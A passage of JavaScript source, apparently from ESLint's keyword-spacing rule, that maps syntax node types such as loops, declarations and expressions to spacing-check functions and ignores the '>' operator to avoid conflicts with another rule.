checkSpacingAroundFirstToken, // Statements - Loops DoWhileStatement: checkSpacingForDoWhileStatement, ForInStatement: checkSpacingForForInStatement, ForOfStatement: checkSpacingForForOfStatement, ForStatement: checkSpacingAroundFirstToken, WhileStatement: checkSpacingAroundFirstToken, // Statements - Declarations ClassDeclaration: checkSpacingForClass, ExportNamedDeclaration: checkSpacingForModuleDeclaration, ExportDefaultDeclaration: checkSpacingForModuleDeclaration, ExportAllDeclaration: checkSpacingForModuleDeclaration, FunctionDeclaration: checkSpacingForFunction, ImportDeclaration: checkSpacingForModuleDeclaration, VariableDeclaration: checkSpacingAroundFirstToken, // Expressions ArrowFunctionExpression: checkSpacingForFunction, AwaitExpression: checkSpacingForAwaitExpression, ClassExpression: checkSpacingForClass, FunctionExpression: checkSpacingForFunction, NewExpression: checkSpacingBeforeFirstToken, Super: checkSpacingBeforeFirstToken, ThisExpression: checkSpacingBeforeFirstToken, UnaryExpression: checkSpacingBeforeFirstToken, YieldExpression: checkSpacingBeforeFirstToken, // Others ImportSpecifier: checkSpacingForImportSpecifier, ExportSpecifier: checkSpacingForExportSpecifier, ImportNamespaceSpecifier: checkSpacingForImportNamespaceSpecifier, MethodDefinition: checkSpacingForProperty, PropertyDefinition: checkSpacingForProperty, StaticBlock: checkSpacingAroundFirstToken, Property: checkSpacingForProperty, // To avoid conflicts with `space-infix-ops`, e.g. `a > this.b` "BinaryExpression[operator='>']"(node) { const operatorToken = sourceCode.getTokenBefore(node.right, astUtils.isNotOpeningParenToken); tokensToIgnore.add(operatorToken); } }; } };
Close